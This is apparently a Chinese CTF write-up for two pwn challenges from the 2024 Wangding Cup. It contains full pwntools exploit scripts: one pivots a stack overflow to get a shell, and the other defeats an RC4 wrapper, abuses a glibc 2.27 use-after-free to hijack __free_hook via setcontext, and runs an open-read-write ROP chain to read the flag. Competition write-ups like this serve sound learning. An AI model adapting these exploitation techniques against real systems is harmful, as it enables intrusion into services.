2024年网鼎杯青龙组 pwn
pwn2
开局泄露栈地址,又是栈溢出,直接栈转移拿下
from pwn import *
from LibcSearcher import LibcSearcher
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda :u64(io.recv(6).ljust(8,b'\x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
if(c):
gdb.attach(io, c)
pause()
else:
gdb.attach(io)
pause()
#---------------------------------------------------------
filename = "./short"
#io = process(filename)
io = remote("0192d60ff4427dff9e9f1e7ecaacbc14.diu4.dg07.ciihw.cn",46513)
elf = ELF(filename)
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
#初始化完成---------------------------------------------------------\
sla(b':',b'admin')
sla(b':',b'admin123')
rl(b'this:')
s=io.recv(11)
print(s)
badd=int(s,16)
print(hex(badd))
backdoor=0x80485ff
#payload=b'/bin/sh\x00'+b'a'*68+b'a'*4+p32(elf.bss()+0x100)+p32(0x8048662)
payload=(p32(backdoor)*2+p32(badd+8+4)+b'/bin/sh\x00').ljust(0x50,b'a')+p32(badd)+p32(0x804860F)
#dbg()
sa(b'plz input your msg:',payload)
inter()
pwn4
开头卡了一个账号密码,是未知的,但根据回显可以判断长度,最后写一个随机字符串爆破算法爆破出来了
2.27的堆题,漏洞点是uaf,但是这个堆题包装了一个rc4加密
rc4本质是就是字符的异或,两次rc4就可以恢复原来的,审计发现,add功能的时候会加密一次,然后show会加密恢复一次,然后show之后再加密,free功能会把内容全加密一次,edit功能也会
因此,我们在free掉之后,在调试中看是没加密的,但是show功能出来的是加密之后的,因此泄露地址的时候接收到的是密文,我们直接rc4一次就可以了,还有后续uaf修改也需要去提前处理
撕开这层包装,后面就是uaf泄露地址然后改freehook然后orw了
exp如下
from pwn import *
#from Crypto.Util.number import bytes_to_long,bytes_to_long
#--------------------setting context---------------------
context.clear(arch='amd64', os='linux', log_level='debug')
li = lambda content,data : print('\x1b[01;38;5;214m' + content + ' = ' + hex(data) + '\x1b[0m')
lg = lambda content : print('\x1b[01;38;5;214m' + content +'\x1b[0m')
sla = lambda data, content: io.sendlineafter(data,content)
sa = lambda data, content: io.sendafter(data,content)
sl = lambda data: io.sendline(data)
rl = lambda data: io.recvuntil(data)
re = lambda data: io.recv(data)
sa = lambda data, content: io.sendafter(data,content)
dbg = lambda : gdb.attach(io)
bk = lambda : (dbg(),pause())
inter = lambda: io.interactive()
l64 = lambda :u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
h64=lambda :u64(io.recv(6).ljust(8,b'\x00'))
add=0
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read(3, add, 0x30) + shellcraft.write(1,add, 0x30))
def dbg(c = 0):
if(c):
gdb.attach(io, c)
pause()
else:
gdb.attach(io)
pause()
#---------------------------------------------------------
filename = "./pwn"
#io = process(filename)
io = remote("0192d73de23d7e60b2db8af8f087fcb7.srv9.dg07.ciihw.cn",44909)
#elf = ELF(filename)
libc=ELF("./libc.so.6")
#初始化完成---------------------------------------------------------\
def add(size,index,payload):
sla(b'>',b'1')
sla(b':',str(index))
sla(b':',str(size))
sa(b':',payload)
def free(index):
sla(b'>',b'3')
sla(b':',str(index))
def show(index):
sla(b'>',b'2')
sla(b':',str(index))
def edit(index,payload):
sla(b'>',b'4')
sla(b':',str(index))
sa(b':',payload)
#rc4
def KSA(key):
""" Key-Scheduling Algorithm (KSA) """
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
""" Pseudo-Random Generation Algorithm (PRGA) """
i, j = 0, 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key, text):
""" RC4 encryption/decryption """
S = KSA(key)
keystream = PRGA(S)
res = []
for char in text:
res.append(char ^ next(keystream))
return bytes(res)
sla(b'Input your username:',b'4dm1n')
sla(b'Input your password:',b'985da4f8cb37zkj')
for i in range(8):
add(0x120,i,b'aaaa\n')
add(0x120,8,b'aaaa\n')
for i in range(7):
free(i)
free(7)
show(7)
#dbg()
#leak libc
rl(b'[key,value] = [7,')
add2=io.recvuntil(b'Encrypt')[0:-9]
print(add2)
key = b's4cur1ty_p4ssw0rd'
ciphertext = RC4(key, add2)
print(ciphertext[0:8])
libcbase=u64(ciphertext[0:8])-0x3ebca0
#add=h64()
lg(hex(libcbase))
#dbg()
#leak heap
show(6)
rl(b'[key,value] = [6,')
add2=io.recvuntil(b'Encrypt')[0:-9]
print(add2)
key = b's4cur1ty_p4ssw0rd'
ciphertext = RC4(key, add2)
print(ciphertext[0:8])
heapbase=u64(ciphertext[0:8])
lg(hex(heapbase))
#hacker free_hook
free_hook=libcbase+libc.sym['__free_hook']
lg(hex(free_hook))
free_hook = f"{free_hook:x}".zfill(16)
free_hook=bytes.fromhex(free_hook)
free_hook=free_hook[::-1]
#setcont=libcbase+libc.sym['setcontent']+61
key = b's4cur1ty_p4ssw0rd'
efree = RC4(key, free_hook)
edit(6,efree+b'\n')
add(0x120,9,b'aaaaa\n')
#dbg()
setcontext=libcbase+libc.sym['setcontext']+53
lg(hex(setcontext))
setcontext = f"{setcontext:x}".zfill(16)
setcontext=bytes.fromhex(setcontext)
setcontext=setcontext[::-1]
efree = RC4(key, setcontext)
add(0x120,0,efree+b'\n')
# 计算 ROP gadgets 和函数地址
pop_rdi = libcbase +0x000000000002164f
pop_rsi = libcbase + 0x0000000000023a6a
pop_rdx = libcbase + 0x0000000000130539
read_addr = libcbase + libc.sym['read']
puts_addr =libcbase+ libc.sym['puts']
open_addr = libcbase+libc.sym['open']
ret=libcbase+0x00000000000008aa
# 构建 ROP 链
orw1 = (
p64(pop_rdi) + p64(heapbase+0x478) + # open
p64(pop_rsi) + p64(0) +
p64(open_addr)+
p64(pop_rdi) + p64(3) + # read
p64(pop_rsi) + p64(heapbase) +
p64(pop_rdx) + p64(0x30) + p64(heapbase) +
p64(read_addr) +
p64(pop_rdi) + p64(heapbase) + # puts
p64(puts_addr)
)
orw1.ljust(0xa8,b'a')
orw1+=p64(heapbase+0x390)*5+p64(ret)*8+b'./flag.txt\x00'
#orw1+=p64(heapbase+0x390)*8+b'flag\x00'
# 转换为字节串并处理
orw=p64(pop_rdi)
orw_hex = orw.hex().zfill(16) # 直接用 .hex() 方法
orw_bytes = bytes.fromhex(orw_hex)
# 加密
efree = RC4(key, orw_bytes)
orw=p64(pop_rsi)
orw_hex = orw.hex().zfill(16) # 直接用 .hex() 方法
orw_bytes = bytes.fromhex(orw_hex)
efree += RC4(key, orw_bytes)
edit(8, orw1+b'\n')
#dbg()
free(8)
inter()
好久没搞2.27的orw了,我setcontext还是用的+61的,卡了一下
2024年网鼎杯青龙组 pwn的更多相关文章
- 2020网鼎杯 白虎组reverse:hero
主函数,当bossexist的值不为0时,while循环dround()函数,循环结束输出flag outflag()函数的flag值由6段数据拼凑而成 while循环的dround()函数有三个选择 ...
- 网鼎杯玄武组部分web题解
查看JS,在JS中找到p14.php,直接copy下来console执行,输入战队的token就可以了 js_on 顺手输入一个 admin admin,看到下面的信息 欢迎admin这里是你的信息: ...
- 2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup
2020年第二届“网鼎杯”网络安全大赛 白虎组 部分题目Writeup 2020年网鼎杯白虎组赛题.zip下载 https://download.csdn.net/download/jameswhit ...
- CTF-i春秋网鼎杯第四场部分writeup
CTF-i春秋网鼎杯第四场部分writeup 因为我们组的比赛是在第四场,所以前两次都是群里扔过来几道题然后做,也不知道什么原因第三场的题目没人发,所以就没做,昨天打了第四场,简直是被虐着打. she ...
- CTF-i春秋网鼎杯第二场misc部分writeup
CTF-i春秋网鼎杯第二场misc部分writeup 套娃 下载下来是六张图片 直接看并没有什么信息 一个一个查看属性 没有找到有用信息 到winhexv里看一下 都是标准的png图片,而且没有fla ...
- CTF-i春秋网鼎杯第一场misc部分writeup
CTF-i春秋网鼎杯第一场misc部分writeup 最近因为工作原因报名了网鼎杯,被虐了几天后方知自己还是太年轻!分享一下自己的解题经验吧 minified 题目: 一张花屏,png的图片,老方法, ...
- 刷题记录:[网鼎杯]Fakebook
目录 刷题记录:[网鼎杯]Fakebook 一.涉及知识点 1.敏感文件泄露 2.sql注入 二.解题方法 刷题记录:[网鼎杯]Fakebook 题目复现链接:https://buuoj.cn/cha ...
- 2020 网鼎杯wp
2020 网鼎杯WP 又是划水的一天,就只做出来4题,欸,还是太菜,这里就记录一下做出的几题的解题记录 AreUSerialz 知识点:反序列化 打开链接直接给出源码 <?php include ...
- [网鼎杯 2018]Comment
[网鼎杯 2018]Comment 又遇到了一道有意思的题目,还是比较综合的,考的跟之前有一道很相像,用的还是二次注入. 因为找不到登陆点的sql注入,所以扫了一下源码,发现是存在git泄露的. [2 ...
- 网鼎杯2020 AreUSerialz
0x00 前言 ...有一说一,赵总的BUUCTF上的这道题目并没有复现到精髓.其实感觉出题人的题目本身没有那么简单的,只不过非预期实在是太简单惹. 涉及知识点: 1.php中protected变量反 ...
随机推荐
- 在IIS上部署ASP.NET Core Web API和Blazor Wasm详细教程
前言 前段时间我们完成了七天.NET 8 操作 SQLite 入门到实战的开发系列教程,有不少同学留言问如何将项目发布部署到IIS上面运行.本篇文章我们就一起来讲讲在IIS上部署ASP.NET Cor ...
- 快速基于 ClickHouse + Grafana 搭建可观测性解决方案 - 分布式链路追踪篇(ClickHouse 官方博客)
引言 在 ClickHouse,我们认为可观测性仅仅是另一个实时分析问题.作为一款高性能的实时分析数据库,ClickHouse 被用于多种场景,包括时间序列数据的实时分析.其应用场景的多样性推动了大量 ...
- 为了给Javaer落地DDD,我们不得不写开源组件
本文上回书接<这是DDD建模最难的部分(其实很简单)>,欢迎关注我的同名公众号. https://mp.weixin.qq.com/s/HZKMLF0_I10iczzp2mAR-w 故 ...
- 【全】CSS动画大全之按钮【b】
效果预览 代码 <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> < ...
- quartz监控日志(二)添加监听器
上一章介绍监控job有三种方案,其实还有一个简单方案是实现quartz的TriggerListener. 上次我也试了这个方案,但是由于操作错误,导致没有监控成功,所以才选择分析源码来实现代理进行监控 ...
- Mybats写xml文件时传入参数为Integer类型的0被if标签判断为空bug
当type = 0 时出现bug 不走这个条件 <if test='type != null and type!= ""' > and type = #{type} & ...
- Windows 安装 OpenSSH
使用命令行安装 安装 OpenSSH 服务端和客户端 在管理员终端下运行以下命令: # 检查 OpenSSH 可用性 Get-WindowsCapability -Online | Where-Obj ...
- golang协程的最佳实践与context包的基本使用
1.协程最佳实践,多个协程并发求素数 点击查看代码 var wg sync.WaitGroup func Prime(num int) bool { if num == 1 { return fals ...
- spring boot 若依系统整合Ueditor,部署时候上传图片错误解决
spring boot 若依系统整合Ueditor,部署时候上传图片错误解决 前言:国庆假期找了个ruoyi版本的cms玩玩,从git上看,介绍如下图: 后台部分截图: 编辑 编辑 编辑 ...
- tarjan—算法的神(一)
本篇包含 tarjan 求强连通分量.边双连通分量.割点 部分, tarjan 求点双连通分量.桥(割边)在下一篇. 伟大的 Robert Tarjan 创造了众多被人们所熟知的算法及数据结构,最著名 ...